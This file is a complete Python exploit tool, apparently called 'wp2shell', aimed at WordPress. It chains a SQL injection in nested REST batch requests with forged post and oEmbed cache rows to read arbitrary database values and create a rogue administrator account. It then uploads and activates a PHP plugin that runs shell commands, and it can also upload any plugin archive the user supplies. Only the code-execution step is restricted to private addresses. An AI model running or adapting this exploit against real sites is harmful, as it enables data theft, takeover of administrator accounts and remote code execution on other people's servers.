exploit.py

import argparse
import getpass
import hashlib
import html
import io
import ipaddress
import json
from pathlib import Path
import re
import secrets
import socket
import sys
import uuid
import urllib.error
import urllib.parse
import urllib.request
import zipfile
from html.parser import HTMLParser
from http.cookiejar import CookieJar


POST_COLUMN_INDEX = {
    "ID": 1,
    "post_author": 2,
    "post_date": 3,
    "post_date_gmt": 4,
    "post_content": 5,
    "post_title": 6,
    "post_excerpt": 7,
    "post_status": 8,
    "comment_status": 9,
    "ping_status": 10,
    "post_password": 11,
    "post_name": 12,
    "to_ping": 13,
    "pinged": 14,
    "post_modified": 15,
    "post_modified_gmt": 16,
    "post_content_filtered": 17,
    "post_parent": 18,
    "guid": 19,
    "menu_order": 20,
    "post_type": 21,
    "post_mime_type": 22,
    "comment_count": 23,
}


BANNER = r"""
 __      ______  ___  _____ _          _ _
 \ \    / /  _ \|__ \/ ____| |        | | |
  \ \  / /| |_) |  ) | (___| |__   ___| | |
   \ \/ / |  __/  / / \___ \ '_ \ / _ \ | |
    \  /  | |    / /_ ____) | | | |  __/ | |
     \/   |_|   |____|_____/|_| |_|\___|_|_|
             S T O C K - C O R E
""".strip("\n")


class PluginPageParser(HTMLParser):
    def __init__(self):
        super().__init__()
        self.in_upload_form = False
        self.upload_nonce = None
        self.activation_url = None

    def handle_starttag(self, tag, attrs):
        attributes = dict(attrs)
        if tag == "form":
            self.in_upload_form = "upload-plugin" in attributes.get("action", "")
        elif (
            tag == "input"
            and self.in_upload_form
            and attributes.get("name") == "_wpnonce"
        ):
            self.upload_nonce = attributes.get("value")
        elif tag == "a":
            href = html.unescape(attributes.get("href", ""))
            if "action=activate" in href and "plugin=" in href:
                self.activation_url = href

    def handle_endtag(self, tag):
        if tag == "form":
            self.in_upload_form = False


def sql_hex(value):
    return "0x" + value.encode().hex()


def build_post_columns(overrides=None):
    """Build one SQL row in the physical wp_posts column order."""
    date = "0x323032302d30312d30312030303a30303a3030"
    values = {
        "ID": "999999",
        "post_author": "1",
        "post_date": date,
        "post_date_gmt": date,
        "post_content": "''",
        "post_title": "''",
        "post_excerpt": "''",
        "post_status": "0x7075626c697368",
        "comment_status": "0x6f70656e",
        "ping_status": "0x636c6f736564",
        "post_password": "''",
        "post_name": "0x7770327368656c6c2d66616b65",
        "to_ping": "''",
        "pinged": "''",
        "post_modified": date,
        "post_modified_gmt": date,
        "post_content_filtered": "''",
        "post_parent": "0",
        "guid": "''",
        "menu_order": "0",
        "post_type": "0x706f7374",
        "post_mime_type": "''",
        "comment_count": "0",
    }
    if overrides:
        unknown = set(overrides) - set(POST_COLUMN_INDEX)
        if unknown:
            raise ValueError("unknown wp_posts fields: " + ", ".join(sorted(unknown)))
        values.update(overrides)
    return ",".join(
        values[name]
        for name, _ in sorted(POST_COLUMN_INDEX.items(), key=lambda item: item[1])
    )


def build_columns(expr=None, content_sql=None):
    if (expr is None) == (content_sql is None):
        raise ValueError("provide exactly one of expr or content_sql")

    overrides = {}
    if content_sql is not None:
        overrides["post_content"] = content_sql
    else:
        overrides["post_title"] = (
            f"CONCAT(0x7c7c,HEX(CAST(({expr})AS CHAR)),0x7c7c)"
        )
    return build_post_columns(overrides)


def batch_request(base, author_exclude, extra_query=None):
    inner = urllib.parse.urlencode(
        {
            "author_exclude": author_exclude,
            "orderby": "none",
            "per_page": "500",
        }
    )
    payload = {
        "requests": [
            {"method": "POST", "path": "http://:"},
            {
                "method": "POST",
                "path": "/wp/v2/posts",
                "body": {
                    "requests": [
                        {"method": "GET", "path": "http://:"},
                        {"method": "GET", "path": "/wp/v2/posts/999999?" + inner},
                        {"method": "GET", "path": "/wp/v2/posts"},
                    ]
                },
            },
            {"method": "POST", "path": "/batch/v1"},
        ]
    }
    query = {"rest_route": "/batch/v1"}
    if extra_query:
        query.update(extra_query)
    request = urllib.request.Request(
        base.rstrip("/") + "/?" + urllib.parse.urlencode(query),
        data=json.dumps(payload).encode(),
        headers={"Content-Type": "application/json"},
    )
    try:
        with urllib.request.urlopen(request, timeout=30) as response:
            return response.status, response.read()
    except urllib.error.HTTPError as error:
        return error.code, error.read()


def stock_chain_batch_request(base, author_exclude, user_fields):
    """Carry the SQLi and a protected user-create operation in one batch."""
    inner = urllib.parse.urlencode(
        {
            "author_exclude": author_exclude,
            "orderby": "none",
            "per_page": "500",
        }
    )
    carrier_fields = [
        (name, value)
        for name, value in user_fields.items()
        if name != "roles"
    ]
    carrier_fields.extend(
        (f"roles[{index}]", role)
        for index, role in enumerate(user_fields.get("roles", []))
    )
    carrier_query = urllib.parse.urlencode(carrier_fields)
    nested_requests = [
        {"method": "GET", "path": "http://:"},
        {"method": "GET", "path": "/wp/v2/posts/999999?" + inner},
        {
            "method": "GET",
            # GET carriers do not expose body params through WP_REST_Request,
            # so keep the eventual user-create fields in its query params.
            "path": "/wp/v2/posts?" + carrier_query,
        },
        {"method": "POST", "path": "/wp/v2/users", "body": user_fields},
    ]
    payload = {
        "requests": [
            {"method": "POST", "path": "http://:"},
            {
                "method": "POST",
                "path": "/wp/v2/posts",
                "body": {"requests": nested_requests},
            },
            {"method": "POST", "path": "/batch/v1"},
        ]
    }
    request = urllib.request.Request(
        base.rstrip("/") + "/?" + urllib.parse.urlencode({"rest_route": "/batch/v1"}),
        data=json.dumps(payload).encode(),
        headers={"Content-Type": "application/json"},
    )
    try:
        with urllib.request.urlopen(request, timeout=60) as response:
            return response.status, response.read()
    except urllib.error.HTTPError as error:
        return error.code, error.read()


def run(base, expr):
    injection = "0) UNION SELECT " + build_columns(expr=expr) + "-- -"
    _, body = batch_request(base, injection)
    match = re.search(rb"\|\|([0-9A-Fa-f]+)\|\|", body)
    if match:
        return bytes.fromhex(match.group(1).decode()).decode()
    return None


def render_union_content(base, content, extra_query=None):
    """Render attacker-selected fake-post content through the vulnerable query."""
    injection = (
        "0) AND 1=0 UNION SELECT "
        + build_columns(content_sql=sql_hex(content))
        + "-- -"
    )
    return batch_request(base, injection, extra_query)


def balanced_union_rows(rows, posts_table):
    """Close WP_Query's injected expression without relying on a line comment."""
    if not rows:
        raise ValueError("at least one forged post row is required")
    if not re.fullmatch(r"[A-Za-z0-9_]+", posts_table):
        raise ValueError("invalid WordPress posts table name")

    selected = list(rows)
    selected[-1] += (
        f" FROM {posts_table} WHERE ID=(SELECT MIN(ID) FROM {posts_table} "
        "WHERE post_type='post' AND post_status='publish') AND (1=1"
    )
    return "0) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(selected)


def discover_table_prefix(base):
    prefix = run(
        base,
        "SELECT LEFT(TABLE_NAME,LENGTH(TABLE_NAME)-5) "
        "FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=DATABASE() "
        "AND TABLE_NAME LIKE '%users' AND COLUMN_NAME='user_login' LIMIT 1",
    )
    if prefix is None or not re.fullmatch(r"[A-Za-z0-9_]*", prefix):
        raise RuntimeError("could not identify the WordPress database table prefix")
    return prefix


def first_administrator_id(base, prefix):
    capabilities_key = sql_hex(prefix + "capabilities")
    administrator_like = sql_hex('%"administrator"%')
    result = run(
        base,
        f"SELECT MIN(u.ID) FROM {prefix}users AS u "
        f"JOIN {prefix}usermeta AS m ON m.user_id=u.ID "
        f"WHERE m.meta_key={capabilities_key} "
        f"AND m.meta_value LIKE {administrator_like}",
    )
    if not result or not result.isdigit():
        raise RuntimeError("the site has no existing administrator to borrow")
    return int(result)


def public_embed_source(base):
    query = urllib.parse.urlencode(
        {
            "rest_route": "/wp/v2/posts",
            "per_page": "1",
            "_fields": "link",
        }
    )
    request = urllib.request.Request(
        base.rstrip("/") + "/?" + query,
        headers={"Cache-Control": "no-store", "User-Agent": "wp2shell-admin/2.0"},
    )
    with urllib.request.urlopen(request, timeout=30) as response:
        posts = json.loads(response.read())
    if not isinstance(posts, list) or not posts or not posts[0].get("link"):
        raise RuntimeError("the stock chain requires one publicly embeddable post")
    return posts[0]["link"]


def add_url_query(url, name, value):
    parts = urllib.parse.urlsplit(url)
    query = urllib.parse.parse_qsl(parts.query, keep_blank_values=True)
    query.append((name, value))
    return urllib.parse.urlunsplit(
        (parts.scheme, parts.netloc, parts.path, urllib.parse.urlencode(query), parts.fragment)
    )


def seed_oembed_cache(base, urls, posts_table):
    seed_row = build_post_columns(
        {
            "ID": "0",
            "post_content": sql_hex("\n".join(urls)),
            "post_title": sql_hex("wp2shell oEmbed seed"),
            "post_name": sql_hex("wp2shell-oembed-seed"),
        }
    )
    status, body = batch_request(
        base,
        balanced_union_rows([seed_row], posts_table),
    )
    if status < 200 or status >= 300:
        raise RuntimeError(f"oEmbed seed request failed with HTTP {status}")
    return body


def read_oembed_cache_inventory(base, prefix):
    result = run(
        base,
        f"SELECT GROUP_CONCAT(CONCAT(ID,0x3a,post_name) "
        f"ORDER BY ID SEPARATOR ',') FROM {prefix}posts "
        "WHERE post_type='oembed_cache'",
    )
    inventory = {}
    for item in (result or "").split(","):
        if ":" not in item:
            continue
        post_id, post_name = item.split(":", 1)
        if post_id.isdigit() and re.fullmatch(r"[0-9a-fA-F]{32}", post_name):
            inventory[post_name.lower()] = int(post_id)
    return inventory


def oembed_cache_key(url, width):
    height = min((width * 3 + 1) // 2, 1000)
    attributes = (
        f'a:2:{{s:5:"width";i:{width};s:6:"height";i:{height};}}'
    )
    return hashlib.md5((url + attributes).encode()).hexdigest()


def resolve_oembed_cache_ids(urls, inventory):
    resolved = []
    for url in urls:
        post_id = None
        for width in range(1, 2001):
            post_id = inventory.get(oembed_cache_key(url, width))
            if post_id is not None:
                break
        if post_id is None:
            raise RuntimeError(
                "WordPress did not persist the expected stock oEmbed cache row"
            )
        resolved.append(post_id)
    if len(set(resolved)) != len(urls):
        raise RuntimeError("the oEmbed seed did not produce six distinct cache rows")
    return resolved


def build_stock_gadget_rows(ids, trigger_url, administrator_id):
    a, b, c, d, e, f = ids
    changeset = json.dumps(
        {
            "nav_menus_created_posts": {
                "value": [d],
                "type": "option",
                "user_id": administrator_id,
            }
        },
        separators=(",", ":"),
    )

    def row(post_id, **fields):
        overrides = {
            "ID": str(post_id),
            "post_author": str(administrator_id),
            "post_content": sql_hex("x"),
            "post_title": sql_hex("x"),
            "post_name": sql_hex(f"wp2shell-{post_id}"),
        }
        overrides.update(fields)
        return build_post_columns(overrides)

    return [
        row(
            a,
            post_content=sql_hex("0"),
            post_status=sql_hex("publish"),
            post_type=sql_hex("oembed_cache"),
            post_parent=str(b),
        ),
        row(
            b,
            post_content=sql_hex(changeset),
            post_status=sql_hex("future"),
            post_type=sql_hex("customize_changeset"),
            post_parent=str(c),
            post_name=sql_hex(str(uuid.uuid4())),
        ),
        row(
            c,
            post_status=sql_hex("publish"),
            post_type=sql_hex("oembed_cache"),
            post_parent=str(b),
        ),
        row(
            d,
            post_status=sql_hex("draft"),
            post_type=sql_hex("post"),
            post_parent=str(e),
        ),
        row(
            e,
            post_status=sql_hex("parse"),
            post_type=sql_hex("request"),
            post_parent=str(f),
        ),
        row(
            f,
            post_status=sql_hex("publish"),
            post_type=sql_hex("oembed_cache"),
            post_parent=str(e),
        ),
        row(
            0,
            post_content=sql_hex(trigger_url),
            post_status=sql_hex("publish"),
            post_type=sql_hex("post"),
            post_parent="0",
        ),
    ]


def read_user_id(base, prefix, username):
    result = run(
        base,
        f"SELECT ID FROM {prefix}users WHERE user_login={sql_hex(username)} LIMIT 1",
    )
    return int(result) if result and result.isdigit() else None


def user_is_administrator(base, prefix, user_id):
    administrator_pattern = sql_hex('%"administrator"%')
    result = run(
        base,
        f"SELECT COUNT(*) FROM {prefix}usermeta WHERE user_id={int(user_id)} "
        f"AND meta_key={sql_hex(prefix + 'capabilities')} "
        f"AND meta_value LIKE {administrator_pattern}",
    )
    return result == "1"


def add_admin(base, username, password, email):
    prefix = discover_table_prefix(base)
    existing_id = read_user_id(base, prefix, username)
    if existing_id:
        opener = wordpress_login(base, username, password)
        if not user_is_administrator(base, prefix, existing_id):
            raise RuntimeError("the requested username exists but is not an administrator")
        return {
            "ok": True,
            "already_exists": True,
            "user_id": existing_id,
            "username": username,
            "chain_post_ids": [],
            "opener": opener,
        }

    source_url = public_embed_source(base)
    cache_nonce = secrets.token_hex(8)
    cache_urls = [
        add_url_query(source_url, "wp2cache", f"{cache_nonce}-{label}")
        for label in "ABCDEF"
    ]
    posts_table = prefix + "posts"
    seed_oembed_cache(base, cache_urls, posts_table)
    cache_ids = resolve_oembed_cache_ids(
        cache_urls,
        read_oembed_cache_inventory(base, prefix),
    )
    administrator_id = first_administrator_id(base, prefix)
    user_fields = {
        "username": username,
        "password": password,
        "email": email,
        "roles": ["administrator"],
    }
    injection = balanced_union_rows(
        build_stock_gadget_rows(cache_ids, cache_urls[0], administrator_id),
        posts_table,
    )
    status, body = stock_chain_batch_request(base, injection, user_fields)
    if status < 200 or status >= 300:
        raise RuntimeError(f"administrator chain failed with HTTP {status}")

    try:
        opener = wordpress_login(base, username, password)
    except RuntimeError as error:
        detail = body[-500:].decode(errors="replace")
        raise RuntimeError(
            "the nested user creation did not produce a usable login: " + detail
        ) from error
    user_id = read_user_id(base, prefix, username)
    if not user_id or not user_is_administrator(base, prefix, user_id):
        raise RuntimeError("the new login is not an administrator")
    return {
        "ok": True,
        "already_exists": False,
        "user_id": user_id,
        "username": username,
        "chain_post_ids": cache_ids,
        "opener": opener,
    }


def require_private_target(base):
    hostname = urllib.parse.urlsplit(base).hostname
    if not hostname:
        raise ValueError("the base URL must include a hostname")

    try:
        addresses = [ipaddress.ip_address(hostname)]
    except ValueError:
        try:
            resolved = socket.getaddrinfo(hostname, None, type=socket.SOCK_STREAM)
        except socket.gaierror as error:
            raise ValueError(f"could not resolve target hostname: {error}") from error
        addresses = list({ipaddress.ip_address(item[4][0]) for item in resolved})

    if not addresses or any(
        not (address.is_private or address.is_loopback or address.is_link_local)
        for address in addresses
    ):
        raise ValueError("execution modes are restricted to loopback and private lab targets")


def wordpress_url(base, path):
    return base.rstrip("/") + "/" + path.lstrip("/")


def wordpress_login(base, username, password):
    cookies = CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
    login_url = wordpress_url(base, "wp-login.php")
    with opener.open(login_url, timeout=30):
        pass

    form = urllib.parse.urlencode(
        {
            "log": username,
            "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": wordpress_url(base, "wp-admin/"),
            "testcookie": "1",
        }
    ).encode()
    request = urllib.request.Request(
        login_url,
        data=form,
        headers={
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": login_url,
        },
    )
    with opener.open(request, timeout=30) as response:
        response.read()

    if not any(cookie.name.startswith("wordpress_logged_in_") for cookie in cookies):
        raise RuntimeError("WordPress rejected the new administrator login")
    return opener


def encode_multipart(fields, field_name, filename, file_data):
    boundary = "----wp2shell-" + secrets.token_hex(12)
    chunks = []
    for name, value in fields.items():
        chunks.extend(
            [
                f"--{boundary}\r\n".encode(),
                f'Content-Disposition: form-data; name="{name}"\r\n\r\n'.encode(),
                value.encode(),
                b"\r\n",
            ]
        )
    chunks.extend(
        [
            f"--{boundary}\r\n".encode(),
            (
                f'Content-Disposition: form-data; name="{field_name}"; '
                f'filename="{filename}"\r\n'
            ).encode(),
            b"Content-Type: application/zip\r\n\r\n",
            file_data,
            b"\r\n",
            f"--{boundary}--\r\n".encode(),
        ]
    )
    return b"".join(chunks), "multipart/form-data; boundary=" + boundary


def build_rce_proof_plugin_source(proof_id, cleanup_post_ids=()):
    slug = "wp2shell-proof-" + proof_id
    cleanup_ids = ",".join(str(int(post_id)) for post_id in cleanup_post_ids)
    plugin = """<?php
/*
Plugin Name: WP2Shell Fixed RCE Proof
Description: One-shot, administrator-only execution proof for an authorized lab.
Version: 1.0
*/
function wp2shell_fixed_proof_permission() {
    return current_user_can('activate_plugins');
}
function wp2shell_run_fixed_proof() {
    $disabled = array_map('trim', explode(',', (string) ini_get('disable_functions')));
    if (function_exists('shell_exec') && !in_array('shell_exec', $disabled, true)) {
        $output = trim((string) shell_exec('id 2>&1'));
        $method = 'shell_exec';
    } else {
        $output = 'shell_exec unavailable; plugin PHP executed successfully';
        $method = 'php-marker';
    }
    $cleaned_posts = 0;
    foreach (array(%s) as $owned_post_id) {
        if (get_post($owned_post_id) && wp_delete_post($owned_post_id, true)) {
            ++$cleaned_posts;
        }
    }
    $result = array(
        'ok' => true,
        'proof_id' => '%s',
        'command' => 'id',
        'method' => $method,
        'output' => $output,
        'php_uname' => php_uname(),
        'cleaned_posts' => $cleaned_posts,
    );
    require_once ABSPATH . 'wp-admin/includes/plugin.php';
    deactivate_plugins(plugin_basename(__FILE__), true);
    $plugin_file = __FILE__;
    $plugin_dir = __DIR__;
    register_shutdown_function(static function () use ($plugin_file, $plugin_dir) {
        @unlink($plugin_file);
        @rmdir($plugin_dir);
    });
    return new WP_REST_Response($result, 200);
}
add_action('rest_api_init', static function () {
    register_rest_route('%s/v1', '/run', array(
        'methods' => 'POST',
        'callback' => 'wp2shell_run_fixed_proof',
        'permission_callback' => 'wp2shell_fixed_proof_permission',
    ));
});
""" % (cleanup_ids, proof_id, slug)
    return slug, plugin


def build_rce_proof_plugin(proof_id, cleanup_post_ids=()):
    slug, plugin = build_rce_proof_plugin_source(proof_id, cleanup_post_ids)

    archive_buffer = io.BytesIO()
    with zipfile.ZipFile(archive_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr(f"{slug}/{slug}.php", plugin)
    return slug, archive_buffer.getvalue()


def validate_plugin_archive(plugin_zip):
    with zipfile.ZipFile(io.BytesIO(plugin_zip)) as archive:
        names = [info.filename for info in archive.infolist() if not info.is_dir()]
    if not names:
        raise ValueError("the plugin ZIP is empty")
    for name in names:
        parts = Path(name.replace("\\", "/")).parts
        if name.startswith(("/", "\\")) or ".." in parts:
            raise ValueError("the plugin ZIP contains an unsafe path")
    if not any(name.lower().endswith(".php") for name in names):
        raise ValueError("the plugin ZIP does not contain a PHP file")
    return names


def upload_and_activate_plugin(base, opener, filename, plugin_zip):
    names = validate_plugin_archive(plugin_zip)

    upload_page_url = wordpress_url(base, "wp-admin/plugin-install.php?tab=upload")
    with opener.open(upload_page_url, timeout=30) as response:
        upload_page = response.read().decode(errors="replace")
    parser = PluginPageParser()
    parser.feed(upload_page)
    if not parser.upload_nonce:
        raise RuntimeError("could not find the WordPress plugin-upload nonce")

    body, content_type = encode_multipart(
        {
            "_wpnonce": parser.upload_nonce,
            "_wp_http_referer": upload_page_url,
            "install-plugin-submit": "Install Now",
        },
        "pluginzip",
        filename,
        plugin_zip,
    )
    upload_url = wordpress_url(base, "wp-admin/update.php?action=upload-plugin")
    request = urllib.request.Request(
        upload_url,
        data=body,
        headers={"Content-Type": content_type, "Referer": upload_page_url},
    )
    with opener.open(request, timeout=60) as response:
        upload_result_url = response.geturl()
        upload_result = response.read().decode(errors="replace")

    parser = PluginPageParser()
    parser.feed(upload_result)
    if not parser.activation_url:
        raise RuntimeError(
            "the plugin uploaded, but its activation link was not found; "
            "remove the uploaded plugin from wp-content/plugins if it remains"
        )
    activation_url = urllib.parse.urljoin(upload_result_url, parser.activation_url)
    with opener.open(activation_url, timeout=30) as response:
        response.read()
    return {
        "filename": filename,
        "archive_entries": len(names),
        "activation_url": activation_url,
    }


def upload_custom_plugin(base, opener, plugin_path):
    path = Path(plugin_path)
    if not path.is_file():
        raise ValueError(f"plugin file does not exist: {path}")
    if path.suffix.lower() != ".zip":
        raise ValueError("--plugin-file must point to a .zip plugin archive")
    return upload_and_activate_plugin(base, opener, path.name, path.read_bytes())


def upload_and_run_rce_proof(base, opener, cleanup_post_ids=()):
    proof_id = secrets.token_hex(6)
    slug, plugin_zip = build_rce_proof_plugin(proof_id, cleanup_post_ids)
    upload_and_activate_plugin(base, opener, slug + ".zip", plugin_zip)

    nonce_url = wordpress_url(base, "wp-admin/admin-ajax.php?action=rest-nonce")
    with opener.open(nonce_url, timeout=30) as response:
        rest_nonce = response.read().decode().strip()
    if not rest_nonce or rest_nonce == "-1":
        raise RuntimeError(
            f"could not obtain a REST nonce; remove {slug} from wp-content/plugins"
        )

    route = "/" + slug + "/v1/run"
    proof_url = wordpress_url(base, "?" + urllib.parse.urlencode({"rest_route": route}))
    request = urllib.request.Request(
        proof_url,
        data=b"",
        headers={"X-WP-Nonce": rest_nonce, "Cache-Control": "no-store"},
    )
    try:
        with opener.open(request, timeout=30) as response:
            result = json.loads(response.read())
    except urllib.error.HTTPError as error:
        detail = error.read().decode(errors="replace")
        raise RuntimeError(
            f"the proof endpoint failed with HTTP {error.code}; "
            f"remove {slug} from wp-content/plugins if it remains: {detail[:300]}"
        ) from error
    if result.get("proof_id") != proof_id:
        raise RuntimeError("the RCE proof returned an unexpected identifier")
    return result


def parse_args(argv):
    parser = argparse.ArgumentParser(
        description="Run the wp2shell UNION-based PoC against an authorized target."
    )
    parser.add_argument("base", help="WordPress base URL")
    parser.add_argument("expr", nargs="?", default="SELECT @@version")
    modes = parser.add_mutually_exclusive_group()
    modes.add_argument(
        "--check",
        action="store_true",
        help=(
            "run one non-persistent UNION sentinel probe and report VULNERABLE, "
            "NOT VULNERABLE, or INCONCLUSIVE"
        ),
    )
    modes.add_argument(
        "--add-user",
        "--add-admin",
        dest="add_user",
        action="store_true",
        help=(
            "create an administrator with --username/--password, verify login, "
            "and stop (--add-admin is a compatibility alias)"
        ),
    )
    modes.add_argument(
        "--exec",
        "--rce-proof",
        dest="exec_proof",
        action="store_true",
        help=(
            "after creating the administrator, log in and run a one-shot fixed "
            "'id' proof through a self-removing plugin; no command input is "
            "accepted (--rce-proof is a compatibility alias)"
        ),
    )
    modes.add_argument(
        "--complete-chain",
        action="store_true",
        help=(
            "run create, login, plugin upload, and fixed 'id' proof end to end; "
            "generate any omitted credentials (private lab targets only)"
        ),
    )
    parser.add_argument("--username", help="new administrator login")
    parser.add_argument(
        "--email",
        help="new administrator email (a reserved example.invalid address is the default)",
    )
    parser.add_argument(
        "--password",
        help="new administrator password (omit to enter it without terminal echo)",
    )
    parser.add_argument(
        "--plugin-file",
        metavar="PATH.zip",
        help=(
            "upload and activate this plugin ZIP instead of the built-in fixed-id "
            "proof (execution modes and private targets only)"
        ),
    )
    args = parser.parse_args(argv)

    admin_mode = args.add_user or args.exec_proof or args.complete_chain
    args.generated_credentials = []
    if args.complete_chain:
        if not args.username:
            args.username = "wp2s_" + secrets.token_hex(4)
            args.generated_credentials.append("username")
        if not args.password:
            args.password = secrets.token_urlsafe(18)
            args.generated_credentials.append("password")
    elif admin_mode:
        if not args.username:
            parser.error("--add-user/--exec requires --username")
        if not args.password:
            args.password = getpass.getpass("Administrator password: ")
        if not args.password:
            parser.error("the administrator password cannot be empty")
    if admin_mode and not args.email:
        digest = hashlib.sha256(args.username.encode()).hexdigest()[:12]
        args.email = f"wp2shell-{digest}@example.invalid"
        args.generated_credentials.append("email")
    elif not admin_mode and (args.username or args.email or args.password):
        parser.error("credential options require --add-user, --exec, or --complete-chain")
    if args.plugin_file and not (args.exec_proof or args.complete_chain):
        parser.error("--plugin-file requires --exec or --complete-chain")
    return args


def main(argv=None):
    args = parse_args(argv)
    print(BANNER, flush=True)
    try:
        if args.check:
            marker = "wp2shell-check-" + secrets.token_hex(6)
            value = run(args.base, "SELECT " + sql_hex(marker))
            if value == marker:
                print("[+] VULNERABLE: UNION sentinel recovered")
                return 0
            print("[-] NOT VULNERABLE: UNION sentinel was not recovered")
            return 1

        if not (args.add_user or args.exec_proof or args.complete_chain):
            value = run(args.base, args.expr)
            if value is None:
                raise RuntimeError("the query primitive returned no injected row")
            print(value)
            return 0

        run_exec = args.exec_proof or args.complete_chain
        if run_exec:
            require_private_target(args.base)
        if args.generated_credentials:
            print("generated/defaulted credentials:")
            if "username" in args.generated_credentials:
                print(f"  username: {args.username}")
            if "password" in args.generated_credentials:
                print(f"  password: {args.password}")
            if "email" in args.generated_credentials:
                print(f"  email: {args.email}")
        result = add_admin(
            args.base,
            args.username,
            args.password,
            args.email,
        )
        if not result.get("ok"):
            raise RuntimeError(result.get("error", "administrator creation failed"))
        state = "already exists" if result.get("already_exists") else "created"
        print(
            f"administrator {result['username']!r} {state} "
            f"(user ID {result['user_id']})"
        )
        opener = result["opener"]
        print("administrator login confirmed")

        if run_exec:
            if args.plugin_file:
                plugin = upload_custom_plugin(args.base, opener, args.plugin_file)
                print("custom plugin upload and activation confirmed")
                print(f"plugin archive: {plugin['filename']}")
                print(f"archive entries: {plugin['archive_entries']}")
                print("custom plugin and chain cache rows left in place")
            else:
                proof = upload_and_run_rce_proof(
                    args.base,
                    opener,
                    result["chain_post_ids"],
                )
                print("fixed RCE proof confirmed; one-shot plugin removed itself")
                print(f"command: {proof['command']}")
                print(f"method: {proof['method']}")
                print(f"output: {proof['output']}")
                print(f"php_uname: {proof['php_uname']}")
                print(f"chain cache rows removed: {proof['cleaned_posts']}")
    except (
        OSError,
        RuntimeError,
        ValueError,
        json.JSONDecodeError,
        zipfile.BadZipFile,
    ) as error:
        if args.check:
            print(f"[?] INCONCLUSIVE: {error}", file=sys.stderr)
            return 2
        print(f"error: {error}", file=sys.stderr)
        return 1
    return 0


if __name__ == "__main__":
    raise SystemExit(main())